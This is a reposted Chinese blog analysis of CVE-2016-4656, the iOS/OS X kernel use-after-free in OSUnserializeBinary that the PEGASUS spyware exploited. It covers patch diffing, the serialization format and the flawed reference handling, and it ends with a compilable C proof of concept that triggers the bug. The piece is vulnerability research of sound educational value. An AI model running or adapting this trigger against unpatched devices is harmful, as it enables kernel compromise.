Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PEGASUS iOS内核漏洞分析(一)

PEGASUS iOS内核漏洞分析(一)

作者头像
编程怪才-凌雨画
修改于 2020-11-02 02:39:36
修改于 2020-11-02 02:39:36
82400
代码可运行
举报
运行总次数:0
代码可运行

背景

2016年8月25日,苹果公司发布了针对PEGASUS监控工具包的iOS 9.3.5安全更新。不同于先前出现的iOS恶意软件,这个工具包使用了三种不同的iOS 0day漏洞来攻击(直到iOS 9.3.5发布)iOS设备。不幸的是,这些漏洞的公共信息相当模糊,因为Citizenlab、Lookout (Apple信任的安全公司)和 Apple公司决定不让公众知道这些漏洞的详细情况。直到现在他们也没有公布恶意软件的样本,如此一来,第三方安全研究员就基本不可能对这一恶意软件进行分析。

公众始终不知道该漏洞是否已经被修复,地下黑市上出现的漏洞利用是否仍然有效,所以我们决定自己研究苹果最近发布的安全补丁,以弄清楚PEGASUS所利用的三个漏洞。今天只分析CVE-2016-4656报告中的内核漏洞。

Patch Analysis

分析iOS安全补丁并不像想象中的那么容易,iOS9内核以加密的形式存储在设备中(并且是固件文件)。因此为了获得一份解密后的内核,要么需要一个低水平、能够解密内核的漏洞利用工具,要么需要一个能够从内存中下载内核iOS问题的越狱工具。我们决定使用自己的越狱工具把iOS 9.3.4和iOS 9.3.5的内核从实验室的一台iOS测试设备中下载下来。我们采用MathewSolnik在一篇博客中描述的方法,即通过内核漏洞利用工具把完全解密的内核从物理内存中下载出来。

获得内核后必须分析它们的差异,我们使用了IDA上的开源二进制比较插件Diaphora来完成这项任务。为了进行比较,我们将iOS 9.3.4内核加载到IDA中等待自动分析完成,然后使用Diaphora把当前的IDA数据库转化成SQLITE数据库格式。接下对iOS 9.3.5的对比,重复上述过程,并使用Diaphora比较两个数据库的不同。比较结果如下图所示。

Diaphora显示出iOS 9.3.5改动了几个函数,大部分是修改了跳转地址。从改动函数的列表中可以很明显的看出,最有意思的函数是OSUnserializeXML。由于函数变化很大(因为重新排序),要分析出iOS 9.3.4 和 iOS 9.3.5之间的差异很困难。进一步的分析表明该函数实际上内联了其它函数,借助XNU更容易找出漏洞。OS X10.11.6 XNU内核可以在opensource.apple.com找到。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
OSObject*
OSUnserializeXML(const char *buffer,size_t bufferSize, OSString **errorString)
{
       if (!buffer) return (0);
       if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);
       if (!strcmp(kOSSerializeBinarySignature, buffer)) returnOSUnserializeBinary(buffer, bufferSize, errorString);
       // XML must be null terminated
       if (buffer[bufferSize - 1]) return 0;
       return OSUnserializeXML(buffer, errorString);
}

OSUnserializeBinary

OSUnserializeBinary是新加入到OSUnserializeXML中用来处理序列化二进制漏洞的代码,这意味着,攻击者通过简单地调用任何IOKitAPI (或者mach API)函数就能进行攻击。而这些函数又可以接受序列化参数,例如简单的IOKit匹配功能,这同时也意味着该漏洞可以通过iOS 或 OSX上的沙盒触发。

这一新功能的源代码位于libkern / C++ /OSSerializeBinary.cpp文件中,因此我们可以直接对其进行审核而不用分析苹果补丁。序列化的二进制形式不是很复杂,它以32位标识符作为头部,接下来是32位的对齐标记和数据对象。

支持以下数据类型:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
•Dictionary
•Array
•Set
•Number
•Symbol
•String
•Data
•Boolean
•Object (参考先前反序列化对象)

二进制格式需要编码32位块数据类型中的24-30位。低于的24位被保留为数值数据,例如存储长度或集合元素计数器。31位用来标记集合中的最后一个元素,其它的所有数据(strings,symbols, binary data, numbers)则添加4字节对齐数据流

作为一个开发者,有一个学习的氛围跟一个交流圈子特别重要,这有个iOS交流群:642363427,不管你是小白还是大牛欢迎入驻 ,分享BAT,阿里面试题、面试经验,讨论技术!

Vulnerability

发现漏洞很容易,因为它看起来和PHP函数unserialize()中的USE-AFTER-FREE漏洞非常相似,而这个漏洞之前已经被SektionEins公布在PHP.net网站上。OSUnserialize()中的漏洞也有着一样的原因,反序列化器可以产生对先前释放对象的引用,每当对象被反序列化时就会被添加到一个对象表中,这段代码看起来像下面这样:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (!isRef)
{
       setAtIndex(objs, objsIdx, o);
       if (!ok) break;
       objsIdx++;
}

这很不安全。另外,由于setAtIndex()宏不增加对象的引用计数,PHP也会犯相同的错误,即如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
define setAtIndex(v, idx, o)                                                                       
       if (idx >= v##Capacity)                                                                       
       {                                                                                                         
                uint32_t ncap = v##Capacity +64;                                           
                typeof(v##Array) nbuf =(typeof(v##Array)) kalloc_container(ncap * sizeof(o)); 
                if (!nbuf) ok = false;                                                                   
                if (v##Array)                                                                               
                {                                                                                                
                        bcopy(v##Array, nbuf,v##Capacity * sizeof(o));                
                        kfree(v##Array,v##Capacity * sizeof(o));                           
                }                                                                                                
                v##Array    = nbuf;                                                                    
                v##Capacity = ncap;                                                                
       }                                                                                                         
        if (ok) v##Array[idx] = o;   <---- remember object WITHOUT COUNTINGTHE REFERENCE

当反序列化过程中没有合适的方法去释放一个对象时,追踪v##Array变量内的引用便会存在问题。正如你从下面的代码中看到的,字典元素的处理支持OSSymbol和OSString键,然而OSString键会随着OSString对象的销毁而转化成为OSSymbol。不幸的是,在销毁的同时OSString对象已经被添加进对象表中。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (dict)
{
       if (sym)
       {
                DEBG("%s = %sn",sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
                if (o != dict) ok =dict->setObject(sym, o, true);
                o->release();
                sym->release();
                sym = 0;
       }
       else
       {
                sym = OSDynamicCast(OSSymbol,o);
                if (!sym && (str =OSDynamicCast(OSString, o)))
                {
                    sym = (OSSymbol *)OSSymbol::withString(str);
                    o->release();  <---- destruction of OSString object thatis already in objs table
                    o = 0;
                }
                ok = (sym != 0);
       }
}

因为上述问题,利用kOSSerializeObject数据类型产生一个指向早已销毁的OSString对象引用将变得非常简单。这就是一个经典的USE-AFTER-FREE漏洞。

POC

弄清楚问题之后,我们可以写一个简单的POC来触发这个漏洞,即如下所示。你可以在OS X中进行测试。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*
 *Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser /SektionEins GmbH
 *compile on OS X like:
 *    gcc-arch i386 -framework IOKit -o ex exploit.c
 */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
 kOSSerializeDictionary   =0x01000000U,
 kOSSerializeArray        =0x02000000U,
 kOSSerializeSet          =0x03000000U,
 kOSSerializeNumber       =0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
 kOSSerializeString       =0x09000000U,
 kOSSerializeData         =0x0a000000U,
 kOSSerializeBoolean      =0x0b000000U,
 kOSSerializeObject       =0x0c000000U,
 kOSSerializeTypeMask     =0x7F000000U,
 kOSSerializeDataMask     =0x00FFFFFFU,
 kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature"323"
int main()
{
 char * data = malloc(1024);
 uint32_t * ptr = (uint32_t *) data;
 uint32_t bufpos = 0;
 mach_port_t master = 0, res;
 kern_return_t kr;
 /* create header */
 memcpy(data, kOSSerializeBinarySignature,sizeof(kOSSerializeBinarySignature));
 bufpos += sizeof(kOSSerializeBinarySignature);
 /* create a dictionary with 2 elements */
 *(uint32_t *)(data+bufpos) = kOSSerializeDictionary |kOSSerializeEndCollecton | 2; bufpos += 4;
 /* our key is a OSString object */
 *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
 *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
 *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
 /* our data is a simple boolean */
 *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
 /* now create a reference to object 1 which is the OSString object thatwas just freed */
 *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
 /* get a master port for IOKit API */
 host_get_io_master(mach_host_self(), &master);
 /* trigger the bug */
 kr = io_service_get_matching_services_bin(master, data, bufpos,&res);
 printf("kr: 0x%xn", kr);
}

Exploitation

本文中,我们只对该漏洞进行了深度分析,至于漏洞利用程序将会在明天的PEGASUS iOS内核漏洞分析(二)详细列出。

查看原文

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CVE-2020-9964:iOS中的信息泄露漏洞分析
2020年09月17日凌晨,苹果终于给所有用户推送了iOS14正式版,并同时发布了iOS 14.0的安全内容更新。阅读该公告后,你将会看到列表中的一个漏洞CVE-2020-9964,这是一个存在于IOSurfaceAccelerator中的安全漏洞。苹果将这个漏洞描述为:“本地用户将能够利用该漏洞读取内核内存数据,这是一个内存初始化问题。”那么在这篇文章中,我们将跟大家介绍有关该漏洞的详细信息。
FB客服
2020/10/27
7650
CVE-2020-9964:iOS中的信息泄露漏洞分析
CVE-2020-27897:APPLE MACOS内核OOB写入权限提升漏洞
就在前几天,Zero Day Initiative曾发布过六份关于苹果macOS中安全漏洞的公告,其中有一条公告涵盖了一个由 ABC Research s.r.o报告的安全漏洞,这个漏洞是苹果硬件GPU的设计缺陷,这也是他们所提交的众多macOS漏洞的其中一个。现在,这些漏洞已经在Big Sur中被修复了,因此在这篇文章中,我们将详细介绍关于漏洞ZDI-20-1403/CVE-2020-27897的细节信息,而这个漏洞将有可能允许攻击者实现提权并在内核上下文场景中执行任意代码。
FB客服
2021/02/07
1.1K0
CVE-2020-27897:APPLE MACOS内核OOB写入权限提升漏洞
04.uboot分析之uboot启动内核
首先要明确:uboot目标是从flash读出内核(nand read.jffs2 0x30007FC0 kernel;),启动它(bootm 0x30007FC0)。
嵌入式与Linux那些事
2021/05/20
1.5K0
Mach-O文件结构
作为iOS,iPadOS、macOS平台的可执行文件格式,Mach-O文件涉及App启动运行、bitcode分析、 crash符号化等诸多多个功能:
梧雨北辰
2021/11/24
1.5K0
Mach-O文件结构
Uboot到底如何启动内核
Uboot 1.16/lib_arm/board.c中start_armboot()函数调用/common/main.c中main_loop()函数,在main_loop()中有uboot启动内核的代码:
韦东山
2020/09/30
1.6K0
iOS 测试 | iOS 自动化性能采集
​今天小编跟大家分享一篇来自学院内部学员的技术分享,本文主要介绍了作者在进行 iOS 自动化性能采集的一些经验,希望对大家在进行 iOS 自动化测试时有一些启发。
霍格沃兹测试开发
2020/07/15
2.4K0
iOS 测试 | iOS 自动化性能采集
iOS12-2 越狱漏洞分析
这是一个 UAF 的洞,是通过tfp0的方式来拿到内核代码执行的权限了,一般的利用方式我们都还是比较熟悉了,而且 UAF 的利用方式我们通常都是通过ROP的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了 bazad 的帮助,通过他那个软件工程式的exploit就凸显了斯坦福博士的风格。不过整体都是 C++ 下的看的着实有点难受。
信安之路
2019/07/30
1.2K0
KSCrash源码分析
0x01 安装过程 1.1 抛砖引玉 KSCrashInstallationStandard* installation = [KSCrashInstallationStandard sharedInstance]; installation.url = [NSURL URLWithString:@"http://put.your.url.here"]; [installation install]; 以上代码是KSCrash的安装代码,[KSCrashInstallationStandard init]底
用户2297838
2018/12/09
5K2
KSCrash源码分析
CVE-2023-21768 内核提权漏洞分析
前置了解: what AFD is and what is does? AFD (Ancillary Function Driver)是Windows操作系统中的一个内核模式驱动程序,它也是套接字(
纯情
2023/05/16
1.3K0
CVE-2023-21768 内核提权漏洞分析
php7数组的实现及部分源码分析
PHP的数组zend_array对应的是HashTable。HashTable(哈希表)是一种通过某种哈希函数将特定的键映射到特定值的一种数据结构,它维护着键和值的一一对应关系,并且可以快速地根据键检索到值,查找效率为O(1)。HashTable的示意如图下:
跑马溜溜的球
2020/12/07
1.4K0
php7数组的实现及部分源码分析
(1)PHP内核 - 玩转php的编译与执行
曾几何时php一不小心闯入了我生活,php语法竟然和C语言那么莫名的相似,这是最初php给我的感受,当接触的php时间越来越多的时候,php也没有那般生涩难懂,但是偶尔一些的新的php 设计思想,也会思考许久,不知是从什么时候开始了php另一个世界。我想应该是从那次的类型转换开始的,"1e12"字符串类型在转化为数字类型变量时,不同的php版本下转换结果截然不同,有的就变成了数字1,有的却可以正常的识别为科学计数法10^12,在这个地方就已经悄悄的埋下了一枚种子。
猿哥
2019/07/10
1.9K0
iOS“远程越狱”间谍软件Pegasus技术分析
上周苹果紧急发布了iOS 9.3.5,修复了三个0day漏洞,这3个漏洞能让攻击者对全球范围内的iPhone进行监听。 这三个漏洞被爆出的起因是因为以为阿联酋的人权活动人士在8月10日、11日,分别收
FB客服
2018/02/08
2.9K0
iOS“远程越狱”间谍软件Pegasus技术分析
【STM32H7教程】第9章 STM32H7重要知识点数据类型,变量和堆栈
完整教程下载地址:http://forum.armfly.com/forum.php?mod=viewthread&tid=86980 第9章   STM32H7重要知识点数据类型,变量和堆栈 本章教
Simon223
2019/05/07
9060
【STM32H7教程】第9章   STM32H7重要知识点数据类型,变量和堆栈
OpenBuffer用于解析网络数据流,解决TCP粘包问题
OpenBuffer 用于读写解析二进制流,解决TCP粘包问题,针对网络数据流而设计。
linyouhappy
2023/03/15
7140
OpenBuffer用于解析网络数据流,解决TCP粘包问题
PHP7内核(六):变量之zval
PHP的变量存储在zval结构体中,在执行阶段中编译为op_array时就能看到zval的身影。结构体定义在Zend/zend_types.h中,定义内容如下所示:
平也
2020/04/03
6630
iOS底层原理总结 - 探寻Runtime本质(二)
Class的结构 通过上一章中对isa本质结构有了新的认识,今天来回顾Class的结构,重新认识Class内部结构。 首先来看一下Class的内部结构代码,对探寻Class的本质做简单回顾。 struct objc_class : objc_object { // Class ISA; Class superclass; cache_t cache; // formerly cache pointer and vtable class_data_bit
xx_Cc
2018/07/04
1.2K0
【IOS开发高级系列】dyld专题
        在iOS系统中,几乎所有的程序都会用到动态库,而动态库在加载的时候都需要用dyld(位于/usr/lib/dyld)程序进行链接。很多系统库几乎都是每个程序都要用到的,与其在每个程序运行的时候一个一个将这些动态库都加载进来,还不如先把它们打包好,一次加载进来来的快。
江中散人_Jun
2023/10/16
8800
【IOS开发高级系列】dyld专题
PHP内核之旅-3.变量
PHP 内核之旅系列 PHP内核之旅-1.生命周期 PHP内核之旅-2.SAPI中的Cli PHP内核之旅-3.变量 一、弱类型语言 php是弱类型语言。一个变量可以表示任意数据类型。 php强大的一
悟空聊架构
2018/05/18
6790
iOS强化 : 熟悉 Mach-O 文件
Mach-O(Mach Object)是 macOS、iOS、iPadOS 存储程序和库的文件格式。对应系统通过应用二进制接口(application binary interface,缩写为ABI) 来运行该格式的文件。
网罗开发
2021/04/26
1.2K0
iOS强化 : 熟悉 Mach-O 文件
Apple 操作系统可执行文件 Mach-O
Mach-O 的全称是 Mach Object File Format。可以是可执行文件,目标代码或共享库,动态库。Mach 内核的操作系统比如 macOS,iPadOS 和 iOS 都是用的 Mach-O。Mach-O 包含程序的核心逻辑,以及入口点主要功能。
用户7451029
2020/06/16
3K0
相关推荐
CVE-2020-9964:iOS中的信息泄露漏洞分析
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验